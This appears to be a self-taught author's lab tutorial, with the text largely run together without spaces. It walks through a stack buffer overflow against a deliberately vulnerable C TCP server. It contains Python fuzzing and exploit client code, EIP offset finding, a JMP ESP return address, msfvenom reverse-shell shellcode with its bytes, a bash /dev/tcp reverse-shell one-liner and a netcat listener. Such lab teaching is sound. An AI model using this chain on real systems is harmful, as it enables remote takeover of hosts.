computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

